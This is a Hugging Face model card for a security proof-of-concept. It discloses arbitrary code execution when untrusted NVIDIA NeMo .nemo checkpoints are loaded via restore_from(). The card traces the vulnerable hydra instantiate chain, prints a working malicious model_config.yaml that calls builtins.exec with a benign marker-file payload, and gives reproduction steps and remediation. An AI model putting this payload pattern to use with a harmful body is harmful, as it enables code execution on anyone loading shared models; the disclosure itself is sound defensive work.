Instructions to use Havzer/nemo-restore-from-rce-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- NeMo
How to use Havzer/nemo-restore-from-rce-poc with NeMo:
# tag did not correspond to a valid NeMo domain.
- Notebooks
- Google Colab
- Kaggle
| license: apache-2.0 | |
| tags: | |
| - security | |
| - proof-of-concept | |
| - do-not-use | |
| viewer: false | |
| # β οΈ SECURITY RESEARCH PoC β DO NOT LOAD THIS MODEL β οΈ | |
| This repository is **not a real model**. It hosts a single crafted | |
| `malicious_vocoder.nemo` that demonstrates **arbitrary code execution** when an | |
| untrusted NVIDIA **NeMo** `.nemo` checkpoint is loaded with the standard | |
| `restore_from()` API. | |
| It exists solely for **coordinated disclosure** to the NeMo maintainers via | |
| [huntr](https://huntr.com). The payload is **benign** β it prints a banner and | |
| writes a marker file `PWNED_NEMO_HF.txt` into your OS temp directory. **Do not | |
| load it** unless you understand exactly what it does. | |
| Affected: `nemo_toolkit` **2.7.3 (latest)** and `main` (2.8.0). No OSV/GHSA | |
| advisory covers 2.7.x. | |
| --- | |
| ## The bug in one paragraph | |
| A `.nemo` file is a tar archive containing `model_config.yaml`. On | |
| `restore_from()`, NeMo loads that **untrusted** YAML and constructs the model. | |
| Several TTS/vocoder `__init__` methods then call **`hydra.utils.instantiate(self._cfg.<subkey>)` | |
| directly** on sub-configs taken verbatim from the YAML. `instantiate()` resolves | |
| and **calls the `_target_`** with attacker-supplied `_args_`, so a sub-config | |
| like `preprocessor: {_target_: builtins.exec, _args_: ["<python>"]}` runs | |
| arbitrary code at load time. These raw calls **bypass** NeMo's `safe_instantiate` | |
| allow-list (the CVE-2026-24159 hardening), which only guards the | |
| `from_config_dict` `_target_` branch β not the model `__init__` path. | |
| ## Vulnerable chain (NeMo 2.7.3) | |
| 1. `nemo/core/connectors/save_restore_connector.py` β `OmegaConf.load(model_config.yaml)` (untrusted) | |
| 2. `β¦` β `calling_cls.from_config_dict(config=conf, trainer=trainer)` | |
| 3. `nemo/core/classes/common.py:589` `from_config_dict` β a normal model config (no top-level `_target_`) hits the `else` branch and constructs `cls(cfg=config)`, running the model `__init__` with the untrusted config (only the `_target_` / `cls+params` branches route through guarded `safe_instantiate`). | |
| 4. `nemo/collections/tts/models/waveglow.py:49` | |
| ```python | |
| self.audio_to_melspec_precessor = instantiate(self._cfg.preprocessor) # RAW, no allow-list | |
| ``` | |
| where `instantiate` is `from hydra.utils import instantiate` (waveglow.py:17). | |
| 5. `hydra.utils.instantiate` executes the attacker `_target_` β **RCE**. | |
| Same raw `instantiate(self._cfg.*)` sink in: `tacotron2.py:113-115`, | |
| `two_stages.py:126/131`, `spectrogram_enhancer.py:276`, plus `univnet.py`, | |
| `vits.py`, `radtts.py`, `mixer_tts.py` (all `from hydra.utils import instantiate`). | |
| A second, independent vector is the legacy `target` else-branch in | |
| `common.py:614` (`import_class_by_path(config["target"])` β `imported_cls(cfg=config)`), | |
| also unguarded. | |
| ## The malicious `model_config.yaml` (inside the .nemo) | |
| ```yaml | |
| sigma: 1.0 | |
| preprocessor: | |
| _target_: builtins.exec | |
| _args_: | |
| - | | |
| import os, tempfile | |
| open(os.path.join(tempfile.gettempdir(), "PWNED_NEMO_HF.txt"), "w").write("RCE") | |
| print("[PWNED] code ran inside WaveGlowModel.restore_from()") | |
| waveglow: {} | |
| ``` | |
| ## Reproduce (victim's point of view) | |
| ```bash | |
| pip install nemo_toolkit[tts] huggingface_hub | |
| ``` | |
| ```python | |
| from huggingface_hub import hf_hub_download | |
| from nemo.collections.tts.models import WaveGlowModel | |
| path = hf_hub_download(repo_id="<this-repo>", filename="malicious_vocoder.nemo") | |
| WaveGlowModel.restore_from(path) # __init__ -> instantiate(self._cfg.preprocessor) -> code runs | |
| ``` | |
| Observed: a `[PWNED] β¦` banner prints and `PWNED_NEMO_HF.txt` appears in your | |
| temp dir, **before** `restore_from` errors out on the placeholder weights β | |
| proving the code runs at load time. | |
| ## Impact | |
| `.nemo` checkpoints are routinely distributed via the Hugging Face Hub and | |
| NVIDIA NGC; `restore_from` is **the** standard loading API. A victim loading an | |
| attacker's TTS/vocoder `.nemo` β a normal, trusted-looking action β gets | |
| arbitrary code execution in their process. | |
| `CVSS:3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (~8.8 High). | |
| ## Remediation | |
| Route all model-config-driven instantiation through `safe_instantiate` (or run | |
| `_validate_config_targets_recursive` before every | |
| `hydra.utils.instantiate(self._cfg.*)` in `nemo/collections/tts/models/*`), and | |
| guard the legacy `target` branch in `from_config_dict` (`common.py:605-625`). | |
| --- | |
| *Reported responsibly via huntr. Files in this repo are inert configuration; the | |
| "weights" are a zero-byte placeholder. Replace the benign payload at your own risk.* | |